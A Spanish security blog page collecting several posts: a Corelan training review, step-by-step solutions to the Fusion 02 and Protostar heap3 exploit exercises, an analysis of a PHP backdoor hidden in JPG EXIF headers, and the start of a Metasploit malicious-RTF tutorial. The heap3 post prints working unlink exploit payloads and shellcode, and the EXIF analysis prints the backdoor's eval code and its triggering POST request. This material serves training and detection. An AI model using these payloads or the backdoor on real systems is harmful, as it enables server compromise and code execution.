Análisis de un OLE File con oledump.py

En esta entrada vamos a ver de una manera muy rápida como hacer un análisis de un fichero OLE y analizar los streams que contenga (en este caso se trata de una macro) con la herramienta y reglas de Didier Stevens. El documento no es muy complejo pero nos sirve para ilustrar cómo utilizar esta herramienta.

Hash del fichero cazado en un correo:

e4e46f746fffa613087bba14666a3ceec47e145f  Transferencia_Interbancaria.doc

Paso 1: Lanzamos yara con nuestra reglas:

[Read more…]

Corelan

Post escrito en colaboración con Ernesto Corral.

Cuando se preguntó en la lista de correo de la RootedCON cuanto se estaba dispuesto a pagar por un training de exploiting de Corelan en Madrid la primera respuesta que me pasó por la cabeza fue “shut up and take my money”.

Cuando más tarde se abrió la inscripción tanto Ernesto como un servidor fuimos algunos de los afortunados que conseguimos plaza en el training. Más de una semana ha pasado desde que terminó el training y queremos compartir nuestras impresiones.

Lo primero que quiero dejar claro es que cumplió nuestras expectativas con creces. Aunque se recomendaba tener una base de exploiting, la realidad es que se empezaba desde nivel 0. Vimos como son los internals de Windows, como funciona un debugger, incluso se hizo un repaso de algunas instrucciones de ensamblador. Y llegamos hasta la explotación del navegador utilizando técnicas de heap spray pasando por el camino por el bypass de las protecciones aslr y dep.

[Read more…]

Resolución del ejercicio número 2 de Fusion (II): “Consiguiendo una shell”

En la primera parte de esta entrada llegamos hasta el punto de sobrescribir registro EIP con el valor que nosotros queríamos. Ahora llega el momento de explotar la vulnerabilidad y ejecutar código.

Recordar que el enlace que me ha sido imprescindible para resolver el ejercicio ha sido la entrada del blog de Kroosec. En esta entrada espero, sobretodo, que quede clara la técnica para crear un ROP en múltiples fases y mostrar cuando nos puede venir bien.

Como en la primera entrada, nos plantearemos preguntas e iremos resolviéndolas hasta llegar a explotar la vulnerabilidad:

1. ¿Contra qué nos enfrentamos?
[Read more…]

Resolución del ejercicio número 2 de Fusion (I) – “Controlando EIP”

Siguiendo con los ejercicios de exploiting con los que empezamos en un post anterior, hoy vamos a pegarnos con uno de la máquina virtual Fusion, concretamente nos enfrentaremos al ejercicio Fusion 02. La resolución de este ejercicio la he dividido en dos partes (dos entradas en el blog), en esta primera parte tenemos como objetivo controlar el registro EIP y dejaremos para la segunda parte explotar la vulnerabilidad. Esta entrada toma como guía para su resolución la entrada del blog de kroosec . Aunque intenta ofrecer algunos detalles más, que pueda hacer más fácil entender el ejercicio.

Para la resolución de este ejercicio vamos a ir respondiendo a preguntas que me he ido haciendo, y que al darles respuesta nos permiten ir dando un paso más en la comprensión del ejercicio y de la vulnerabilidad.

1. ¿Cómo funciona exactamente la función _read()?

Tras ejecutar el programa varias veces, con debugger y sin debugger uno ve que es importante entender como funciona exactamente la función nread y por lo tanto la función _read. Buscando un poco vemos que el prototipo de la función es:

ssize_t read(int fs, void *buf, size_t N);

Lo que hace exactamente esta función es leer n datos desde donde apunta el descriptor de fichero y lo almacena donde apunta la variable *buf. En el código del ejercicio vemos como el descriptor de fichero (fs) vale 0. Esto significa que está leyendo de stdin (entrada estándar). Ya tenemos claro lo que la función _read hace y ésta es invocada desde nread(). Solo mirando el prototipo está claro que uno ya podía intuir lo que hacía, pero de todos modos es necesario no presuponer nada y asegurarse de que funciona como parece.

2. ¿Cómo realizar una ejecución normal del programa y qué hace?

Es necesario saber cómo ejecutar el programa de manera normal, cómo debe funcionar y cuál debe ser su salida. El programa lo que hace es cifrar texto que se le introduce cuando nos conectamos al puerto 20002. Para cifrar una cadena tenemos que introducir primero el carácter ‘E’ en mayúsculas, seguido del tamaño del texto que vamos a introducir, el texto que queremos cifrar y una Q en mayúsculas para finalizar la ejecución.

Como ejemplo vamos a cifrar 100 A’s, mediante la siguiente instrucción:

fusion@fusion:~$ python -c 'print "E"+"\x64\x00\x00\x00"+100*"A"+"Q"' | nc localhost 
      20002
[-- Enterprise configuration file encryption service --]
[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support 
      staff to retrieve your file --]
fusion@fusion:~$ 

Este es el resultado de una ejecución normal del programa y vemos como hemos llegado a la parte del programa donde se cifra viendo el mensaje que nos ha devuelto por pantalla.

3. ¿Dónde está la vulnerabilidad?

Entendido el código tras varias ejecuciones, tenemos que localizar donde se encuentra la vulnerabilidad y nos fijamos en la siguientes dos líneas de código:

nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);

La vulnerabilidad radica en que en la segunda llamada a nread se utiliza la variable sz para definir la cantidad de datos a leer del usuario y esta variable ha sido fijada en la primera llamada a nread, que también está controlada por el usuario.

Una vez ya hemos introducido el carácter “E” en mayúscula el flujo del programa entrará en la zona de código destinada a cifrar. La primera llamada a nread() lee 4 bytes de la entrada estándar y lo almacena en el argumento sz (recordemos, introducidos por el usuario). Después en la segunda llamada se leen sz bytes y se almacenan en la variable buffer que tiene un tamaño de 32 * 4096 bytes = 131072 bytes. Como es obvio si los cuatro bytes primeros indican un tamaño superior a 131072 bytes y el usuario en la segunda llamada introduce la cantidad de bytes esperados (número superior a 131072), se producirá un buffer overflow en la pila.

4. ¿Cómo provocar el buffer overflow?

Para obtener el tamaño exacto que nos permita provocar el buffer overflow en la pila necesitaremos restar a la dirección de EBP la dirección donde se inicia el buffer.

(gdb) p &buffer
$6 = (unsigned char (*)[131072]) 0xbfd0ad2c
(gdb) p $ebp 
$7 = (void *) 0xbfd2ad38

>>> 0xbfd2ad38 - 0xbfd0ad2c
131084L

>>> hex(131084)
'0x0002000c'

Por tanto una ejecución normal que llenará todo el buffer sin desbordarlo será:

fusion@fusion:~$ python -c 'print "E"+"\x0c\x00\x02\x00"+131084*"A"+"Q"' | nc localhost
      20002
…..
0xb772b424 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 25433]
[Inferior 2 (process 25433) exited with code 0121]
……

Vemos como la salida del programa es controlada. Ahora para producir un overflow le sumaremos 4 al valor anterior, dando como resultado: 0x00020010

fusion@fusion:~$ python -c ‘print “E”+”\x10\x00\x02\x00”+131084*”A”+4*”B”+Q | nc 
      localhost 20002

(gdb) c
Continuing.
[New process 25463]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 25463]
main (argc=Cannot access memory at address 0xbd35d263
) at level02/level02.c:74
74	level02/level02.c: No such file or directory.
	in level02/level02.c

Vemos como se ha producido en esta ocasión un segmentation fault, por lo que ya tenemos controlado el tamaño. Como bien nos advierten desde kroosec en su blog cuando retornamos de la función encrypt_file() (poniendo un breakpoint en la línea 49) vemos que en EBP están los inyectados (41’s – A’s y 42’s – B’s), como se muestra en la siguiente captura de la memoria:

En cambio cuando retornamos de la función cipher() ésta ha modificado estos valores que controlamos por lo que hemos perdido el control y para poder seguir teniéndolo después de que se ejecute la función cipher() los datos que inyectamos tendrán que estar alineados con la función de cifrado. Vamos, que lo que nos interesa es que si inyectamos A’s y B’s cuando volvamos de la función cipher() EIP se sobrescriba con las A’s y B’s que hemos inyectado.

5. ¿Cómo funciona la función cipher()?

Descripción simple de algunas variables importantes de la función:

  • blah: Variable donde está el contenido a cifrar.
  • len: Tamaño de los datos a cifrar.
  • keybuf[32]: clave de 1024 bits. Son 32 elementos de 4 bytes, lo que son 128 bytes. Podemos ver un ejemplo del contenido a continuación:

  • blocks: Para calcular el número de bloques divide por 4 el número el tamaño en bytes. Con cada XOR se hacen 4 bytes de blahi con un elemento de la clave que tiene un tamaño de 4 bytes.

El bucle va realizando la función XOR entre los elementos de la clave y el texto que queremos cifrar. A continuación tenemos un ejemplo de una iteración del bucle for:

La captura anterior muestra la ejecución del bucle for cuando j=0. Si se examina la dirección donde apunta blahi (0xbfba22dc) se ve como el primer elemento ya no tiene el valor 0x41414141 y ha sido modificado. Para modificarlo se ha hecho un XOR así:

# Primer elemento de keybuf y el elemento primero de blahi tras aplicarle un XOR
>>> hex(0xf87adc59 ^ 0x41414141)
'0xb93b9d18L'

Por tanto si queremos que después de la función nos quede el valor 0x41414141 para demostrar que tenemos el control de EIP tendremos que poner el siguiente valor como entrada de datos:

>>> hex(0xf87adc59 ^ 0xb93b9d18L)
'0x41414141L'

6. ¿Cómo obtenemos la clave de cifrado y sobrescribimos EIP?

Llegados a este punto queda patente que debemos conocer la clave para poder cifrar los datos que queremos inyectar para obtener el resultado que queremos, pero ésta es aleatoria lo que supone un problema. Si revisamos el código vemos que existe una variable de nombre keyed que sirve para controlar que sólo en una primera ejecución se genere la clave y en las siguientes se utilice la generada, sería como una especie de caché. Es de ésto de lo que nos vamos a aprovechar y vamos a lanzar para cifrar dos fragmentos de texto. Con el primer fragmento obtendremos la clave y con el segundo sobrescribiremos EIP. En github (https://github.com/jholgui/exploiting/blob/master/fusion02.py) he dejado un script en python que hace estas dos ejecuciones de manera muy simple.

Resultado de ejecutar el script en python será:

Como vemos ya hemos sobrescrito EIP con un valor controlado por nosotros (BBBB) y con esto tenemos finalizada la primera parte. En la siguiente entrada explotaremos la vulnerabilidad.

Resolución al ejercicio Heap03 de exploit-exercises.com

Hace ya algún tiempo vi por Twitter a @esanfelix que hacía referencia a una máquina virtual de ejercicios de exploiting y tomé nota de la dirección para cuando encontrara un hueco. Al final este verano encontré pequeños huecos para ir haciendo los ejercicios y os tengo que decir que la experiencia después de haber hecho los ejercicios de la versión protostar es altamente recomendable. Ahora mismo estoy empezando los ejercicios de la versión máquina virtual fusion y el objetivo es hacer todos los que el tiempo libre me permita ;-).

En esta primera entrada sobre esta temática, que espero que no sea la única, me gustaría contaros cómo resolver el ejercicio de título “Heap3” de la máquina virtual protostar, sobre todo intentando contar aquellas cosas que he tenido que investigar y aprender. El objetivo de este ejercicio es explotar una vulnerabilidad en el algoritmo de reserva de memoria dinámica implementado en la librería glibc (ptmalloc). Antes de empezar con los detalles comentar que he usado de guía para resolverlo la entrada del blog kroosec [3] y para entender las técnicas utilizadas ha sido vital el paper de Newlog_ [1] y el libro de blackngel [2]. De hecho decir que blackngel resuelve justo este ejercicio. Mi granito de arena en este caso es complementar su resolución con cosas que para un exploiter experimentado son obvias, pero que para alguien menos experimentado en este campo pueden venirle bien (o eso espero).

Tras situarnos vamos a empezar con la resolución paso a paso. Lo primero de todo es analizar el código que tendremos que explotar:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
    	printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    	char *a, *b, *c;

    	a = malloc(32);
    	b = malloc(32);
    	c = malloc(32);

    	strcpy(a, argv[1]);
    	strcpy(b, argv[2]);
    	strcpy(c, argv[3]);

    	free(c);
    	free(b);
    	free(a);

    	printf("dynamite failed?\n");
}

Como vemos es un programa sencillo donde se crean tres variables de 32 bytes y se copia dentro de ellas lo que le pasemos como argumento al programa. Entonces para resolver el ejercicio tenemos que ejecutar la función winner(), que como vemos no se llama desde la función main y al conseguir ejecutarla habremos cambiado el flujo del programa. Es necesario aclarar, que la librería glibc que utiliza el binario “/opt/protostar/bin/heap3” de la máquina virtual es antigua y por lo tanto tiene vulnerabilidades que en versiones recientes ya no existen.

Viendo que hay tres free() seguidos, que utiliza una versión antigua de la librería glibc y la pista que hay en el enunciado del ejercicio, uno ya va viendo que se trata de aprovechar la vulnerabilidad de la macro unlink() cuando se libere memoria con la función free(). Para entender la vulnerabilidad de la macro unlink() os aconsejo revisar el paper de Newlog desde la página 32 a la 39. Siento poneros un puntero a este paper y no hacerlo autocontenido, pero está muy bien explicado y en castellano, así que merece la pena que saltéis y hagáis un ret cuando acabéis. Importante es tener siempre en mente la estructura de datos de un fragmento de memoria reservado y libre (lo que llaman “chunk”).

Entendido el objetivo del ejercicio, vamos a ir viendo paso a paso la ejecución del programa y cómo aprovechar la vulnerabilidad. Lo primero que vamos a ver es lo que pasa cuando se ejecuta de manera normal el binario con tres argumentos:

La memoria presenta el aspecto del dibujo anterior, con los campos “prev_size” y “size” rellenos y los datos de usuario en el campo “user data”, y como vemos las tres reservas se sitúan contiguas en memoria.

Como es obvio, a la vista del dibujo anterior, si se produce un desbordamiento del campo “user data” del fragmento a o b, se sobrescribirán las secciones de control del siguiente bloque de memoria. Viendo esta ejecución sin overflow desde un debugger como GDB, veremos el estado de la memoria una vez se ha reservado con los diferentes malloc() y se han copiado los argumentos en los espacio de memoria reservada con las funciones strcpy(). Lo que vamos a examinar en memoria es dónde están las variables y para ello debemos saber la dirección de las variables a, b, c en la memoria. Para esto tenemos que mirar el registro EAX cuando finalice el malloc(), obteniendo estos punteros:

?	a is at 0x804c008
?	b is at 0x804c030
?	c is at 0x804c058

Veamos un ejemplo de cómo localizar el puntero de la variable c:

(gdb) ni
0x080488b9	18	in heap3/heap3.c
1: x/3i $pc
0x80488b9 <main+48>:	call   0x8048ff2 <malloc> <- lanzamos el malloc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
(gdb) ni
0x080488be	18	in heap3/heap3.c
1: x/3i $pc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
0x80488c5 <main+60>:	add    $0x4,%eax
(gdb) i r 
eax            0x804c058	134529112    <- Variable c
ecx            0xf88	3976
edx            0xf89	3977
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff770	0xbffff770
ebp            0xbffff798	0xbffff798
esi            0x0	0
edi            0x0	0
eip            0x80488be	0x80488be <main+53>
eflags         0x200286	[ PF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Ahora sí, vamos a examinar la memoria de una ejecución normal del programa y ver las variables:

# Colocamos el breakpoint en la línea 24 que es justo antes del primer free()
(gdb) break 24
(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC
# Una vez se para examinamos la memoria
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

Lo que está en rojo son los datos de control y lo que está en azul son los datos de usuario. Después de ejecutarse los tres free(), la memoria tendrá el siguiente aspecto:

0x804c000:	0x00000000	0x00000029	0x0804c028	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x0804c050	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x00000000	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

En la memoria vemos como cuando se realiza el free(b) se coloca el puntero al siguiente bloque libre que es 0x0804c050, que se corresponde con el espacio de memoria liberado cuando se ha hecho el free(c). De igual forma, cuando se realiza free(a) se coloca el puntero al siguiente bloque libre, 0x0804c028, resultado de hacer free(b).

Ya hemos visto el comportamiento cuando se realiza una ejecución normal, ahora nos toca ver qué sucede cuando se introducen más de 32 bytes en el segundo argumento para sobrescribir los campos “prev_size” y “size” del fragmento de memoria de la variable c. Para esto haremos:

(gdb) run `python -c "print 'A'*8+' '+'B'*32+'E'*5+'E'*4+' '+'C'*8"`
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242 	0x42424242	0x42424242	0x42424242
0x804c040:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c050:	0x45454545	0x45454545	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000 	0x00000000

Como vemos la memoria en la dirección 0x0804c050 muestra cómo hemos conseguido sobrescribir los campos “prev_size” y “size” del último fragmento, con el valor hexadecimal de la letra ‘E’.

Con el control sobre “prev_size” y “size” tenemos que ver qué valor introducimos para tomar el control. En blog kroosec [3] vemos cómo introducen un valor de -5 y un valor de -4. A continuación explicamos el porqué de estos valores. Aún así, si no queda del todo claro recomiendo leer el capítulo del heap del libro de blackngel [2], ya que allí lo explica muy bien.

Lo primero tal y como nos cuenta @newlog_ en su paper [1] es que una de las ventajas de utilizar valores negativos es que no introduciremos bytes nulos, con lo que nos evitamos los problemas derivados de los bytes nulos.

Después dado que controlamos el campo “size”, vamos a modificar su valor para que se ejecute la macro unlink() y escribir 4 bytes donde nosotros queramos, aprovechando con esto la vulnerabilidad de unlink(). Recordemos que para saber si se debe ejecutar la macro unlink() o no el algoritmo consulta el campo “size” del siguiente fragmento para ver si el último bit está puesto a 0. Por tanto si queremos activar la macro unlink() el último bit de size debe estar a cero.

Al fijar el valor de “prev_size” a -5 y el de “size” a -4 lo que hacemos es crear un cuarto fragmento falso y activar macro unlink(). Vamos a intentar explicar cómo estos dos valores negativos consiguen lo que acabamos de decir. Como indica la documentación, para ver dónde está el siguiente fragmento se utiliza el campo size como offset. Centrándonos en nuestro caso el fragmento [c] tiene en el campo size, después de sobrescribir su valor con el overflow, el valor -4. El campo size se usa como offset para saber dónde está el inicio del siguiente fragmento. En este caso cogerá el inicio del fragmento [c] y le restará 4, obteniendo que el inicio del fragmento ficticio [d] estará en el final del fragmento (b). Veamos gráficamente que implica un valor de -4 en el campo size:

Si nos fijamos en la imagen de arriba, tenemos un nuevo fragmento (d), donde el campo size de este fragmento coincide con el prev_size del fragmento [c] y el campo prev_size de d está contenido en el campo “user data” de b. Entonces el valor que activará la macro unlink() es el valor de prev_size del fragmento c, que será el size del fragmento ficticio que hemos bautizado como d.

Cuando el algoritmo compruebe el campo “size” del fragmento (d) se encontrará con el valor (-5) cuyo valor hexadecimal es: FF FF FF F8 y viendo su valor binario vemos que el último bit (PREV_INUSE) activa unlink() ya que vale 0:

1111 1111 1111 1111 1111 1111 1111 0100 = FF FF FF F8

Vamos a ejecutar el programa con los valores que acabamos de mencionar (-4 y -5) y veamos la memoria y los registros:

(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + 
   '\xfc\xff\xff\xff' + 'A'*8 + 'B'*4 + 'C'*4"` C

Una vez ejecutado este comando si vemos lo que tienen los registros nos encontraremos con:

(gdb) i r
eax            0x42424242	1111638594
ecx            0x0	0
edx            0x43434343	1128481603
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6e0	0xbffff6e0
ebp            0xbffff728	0xbffff728
esi            0x0	0
edi            0x0	0
eip            0x80498fd	0x80498fd <free+217>
eflags         0x210202	[ IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Y si observamos la instrucción que hay cargada en $eip , tenemos que:

0x80498fd <free+217>:	mov    %edx,0xc(%eax)

Esta instrucción mueve lo que hay en %edx a %eax+12. Y como vemos arriba son los elementos que controlamos al sobrescribir.

En este punto, ya sabemos cómo escribir 4 bytes donde nosotros queramos. Entonces, para ejecutar nuestro shellcode lo que vamos a hacer es sobrescribir una de las direcciones de alguna función que esté en la tabla GOT (Global Offset Table), con lo que cuando se ejecute esa función ejecutará la dirección que nosotros hemos puesto y por tanto nuestro shellcode.

Para empezar examinamos la tabla dinámica:

user@protostar:/opt/protostar/bin$ objdump -R ./heap3 

./heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
0804b140 R_386_COPY        stderr
0804b0f4 R_386_JUMP_SLOT   __errno_location
0804b0f8 R_386_JUMP_SLOT   mmap
0804b0fc R_386_JUMP_SLOT   sysconf
0804b100 R_386_JUMP_SLOT   __gmon_start__
0804b104 R_386_JUMP_SLOT   mremap
0804b108 R_386_JUMP_SLOT   memset
0804b10c R_386_JUMP_SLOT   __libc_start_main
0804b110 R_386_JUMP_SLOT   sbrk
0804b114 R_386_JUMP_SLOT   memcpy
0804b118 R_386_JUMP_SLOT   strcpy
0804b11c R_386_JUMP_SLOT   printf
0804b120 R_386_JUMP_SLOT   fprintf
0804b124 R_386_JUMP_SLOT   time
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

Entonces nuestro objetivo va a ser poner aquí la dirección de nuestro shellcode o de lo que queremos ejecutar. Entonces lo primero que pensamos para resolver el ejercicio es poner aquí la dirección de la función winner() que obtenemos así:

$ nm /opt/protostar/bin/heap3
08048864 T winner

La idea, como ya hemos adelantado, es ubicar en la dirección 0x0804b128-12 el valor 0x08048864 y así cuando vaya a ejecutar la función puts() ejecutará la función winner().

Obtenemos el valor:
>>> print hex(0x0804b128-12)
0x804b11c
>>> 

Probemos a ver con estos dos valores y a ver si conseguimos ejecutar la función winner():

(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + 
   '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638	in common/malloc.c

(gdb) x/34x 0x804c058
0x804c058:	0x41410043	0x04b11c41	0x04886408	0x00000008
0x804c068:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c078:	0x00000000	0x00000f89	0x00000000	0x00000000
0x804c088:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c098:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0d8:	0x00000000	0x00000000
(gdb) i r
eax            0x8048864	134514788
ecx            0x0	0
edx            0x804b11c	134525212
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6f0	0xbffff6f0
ebp            0xbffff738	0xbffff738
esi            0x0	0
edi            0x0	0
eip            0x8049906	0x8049906 <free+226>
eflags         0x210206	[ PF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
0x8049906 <free+226>:	mov    %edx,0x8(%eax)
(gdb) 

Viendo el resultado de la ejecución sigue no ejecutándose correctamente. Hemos hecho un pequeño progreso, pero aún no conseguimos ejecutar la función winner(), ¿por qué? Como vemos arriba falla cuando intentamos copiar en eax+8 el valor de edx, que si nos fijamos en lo que está haciendo es copiar el puntero a GOT[puts] -12 (0x804b11c) hacia el valor de winner+8 (0x08048864+8) provocando el segmentation fault, ya que winner+8, es una dirección de solo lectura de la sección .text y no se puede escribir sobre ella.

La razón de este comportamiento es algo que no habíamos tenido en cuenta y es la cuarta línea de la macro unlink():

#define unlink( P, BK, FD ) {        	\
	BK = P->bk;                      	\
	FD = P->fd;                      	\
	FD->bk = BK;                     	\
	BK->fd = FD;                     	\
} 

La solución a este problema pasa por copiar en GOT[puts]-12 una dirección que apunte al shellcode que almacenaremos en el primer fragmento y desde ahí saltaremos a winner(). Como no estaremos apuntando sobre winner directamente y será el heap con permiso de escritura no se producirá una violación de segmento en la cuarta escritura de la macro unlink().

A continuación vamos a construir un shellcode que salte a la dirección de la función winner. Para eso lo haremos con un push/ret:

$ cat pushret.asm
mov 0x08048864, eax
ret
$ objdump -d pushret.o
pushret.o: 	file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   68 64 88 04 08      	push   $0x8048864
   5:   c3                  	ret

El shellcode será “68 64 88 04 08 c3”. Este shellcode tiene un tamaño de 6 bytes, por lo que no será sobrescrito por la cuarta escritura de la macro unlink() y por tanto no destrozará el shellcode. Si fuera más grande deberíamos tener en cuenta que la cuarta escritura de la macro unlink() nos lo puede sobrescribir. Después de estos pequeños ajustes quedaría así la ejecución:

$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` 
   `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+
      '\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C
that wasn't too bad now, was it? @ 1380116991

Como vemos hemos conseguido ejecutar la función winner(), tal y como era nuestro objetivo. Si algún exploiter experimentado encuentra alguna errata le agradeceré que me lo comunique para mejorar la entrada.

A continuación os pongo las referencias que para mí han sido imprescindibles para entender diferentes puntos del ejercicio. La referencia número tres me ha servido de guía para la resolución del ejercicio y la referencia 1 y 2, me han ayudado a entender muchos de los aspectos de cómo explotar la vulnerabilidad.

Referencias:

Malware oculto en cabeceras JPG EXIF

Hace ya algunas semanas que estamos observando que determinados sitios web han sido comprometidos y los atacantes han dejado una puerta trasera para seguir ejecutando código en el servidor. Sobre el caso que vamos a explicar ya existen varios artículos donde destacamos el de securi.net el de spiderlabs los cuales ya estaban hablando de este asunto este mes de Julio.

Resumiendo la técnica, los atacantes inyectan código en ficheros php para leer una imagen mediante la función exif_read_data() y ejecutar código de dentro de la imagen mediante un truco que permite la función preg_replace(). Este código que se ejecuta inyectado en la imagen, ofrece la posibilidad de ejecutar código php que venga en una petición POST en una variable de nombre zz1 cuando se invoque el php afectado.

Para que quede más claro vamos a ver la técnica con un ejemplo sencillo. Lo primero que hacemos es crear un fichero de nombre index.php que vamos a colocar en nuestro servidor web junto a la imagen.

print ("POC\n"); 

$exif = exif_read_data('backdoor.jpg'); 
preg_replace($exif['Make'],$exif['Model'],''); 

print ("POC END\n"); 

Las líneas en rojo serían las que inyectaría el atacante en cualquier fichero php. Y la imagen backdoor.jpg sería la subida por el atacante. Como muy bien explican en los artículos si analizamos la imagen, veremos que en la cabecera tendremos algo como:

/.*/eeval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

Donde el código que se ejecutará realmente después de aplicar la función base64_decode() será:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

Como ya hemos dicho antes en el resumen, se ejecutará lo que llegue en la variable "zz1” en una petición POST. Continuando con nuestro ejemplo, la petición que lanzaría el atacante para aprovechar el código inyectado y la imagen con el backdoor, sería algo como:

POST /index.php HTTP/1.1 
Host: victima.es
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 34 

zz1=phpinfo();

Este ejemplo sencillo, hará que se ejecute la función “phpinfo();” en el servidor y nos devuelva la información. Con esto queda demostrado que podemos ejecutar código php en el servidor.

Una vez visto cómo funciona debemos plantearnos diferentes opciones para detectar esta amenaza o similares. Para este caso concreto podrían valernos:

1. Las funciones que se utilizan en la imagen son “base64_decode” y “eval”, así que una posible vía de detección sería detectar estas dos funciones en ficheros de tipo imagen. Esto puede detectarse tanto en el tráfico de red como de manera local en el servidor buscando estas dos funciones en ficheros de tipo imagen.
2. Detectar hacia nuestros servidores web peticiones POST a un fichero php con la variable zz1 fijada. Esto indicará que nuestro servidor web podría estar comprometido.
3. Y por último revisar el código php de nuestras aplicaciones en busca de las funciones exif_read_data() y preg_replace().

Vistas diferentes aproximaciones para detectar esta amenaza, comentaros que nosotros hemos detectado usuarios que durante una navegación normal, han descargado imágenes que contenían el backdoor. Este hecho por si solo no compromete al usuario, aunque debe alertarnos, ya que si contiene este backdoor podría tener también algún Exploit Pack que puede intentar atacar a nuestros usuarios. Un ejemplo de la detección que hemos visto ha sido:

Al detectar esto, se ha procedido a notificarlo a los sitios web para que puedan desinfectar sus servidores de esta amenaza.

Como siempre espero que os sea de utilidad esta entrada.

Generando una batería de pruebas de ficheros maliciosos con Metasploit

Cuando se implantan determinadas soluciones como un IDS, una sandbox, un antivirus, etc. suele ser habitual necesitar ficheros maliciosos para probar esos sistemas y ver cómo se comportan, su efectividad, su rendimiento, los sistemas de notificaciones, etcétera. Frente a esta necesidad, podemos utilizar recopilaciones de ficheros maliciosos como podemos encontrar en blogs como contagiodump o como alternativa más controlada podemos hacernos nuestros ficheros maliciosos y construirnos nuestra bateria de pruebas. La ventaja de esta segunda alternativa es que estará todo más controlado por nuestra parte.

En esta entrada vamos a centrarnos en ver cómo crearnos un fichero que podría ser perfectamente utilizado en el inicio de un ataque dirigido (APT), como mencionamos en los ejemplos del informe de “Detección de APT” que recientemente publicamos. Para llevar a cabo nuestro objetivo vamos a utilizar la herramienta Metasploit, la cual también permite crear documentos que explotan vulnerabilidades. Concretamente en esta entrada nos vamos a centrar en crear un fichero que use una vulnerabilidad en los ficheros con formato RTF, con ID CVE-2010-3333 e infecte la máquina que lo ejecuta. Seguro que a muchos de vosotros os suena este identificador de vulnerabilidad porque ha sido ampliamente utilizado en campañas de APT.

El proceso es muy sencillo, arrancamos nuestra Kali Linux y nuestra metasploit con el comando msfconsole. Lo primero que hacemos es buscar el exploit que nos permitirá crear el fichero RTF:

Ahora vemos qué nos ofrece ejecutando el comando info:

Cargamos el exploit para usarlo y mirar sus opciones, con show options:

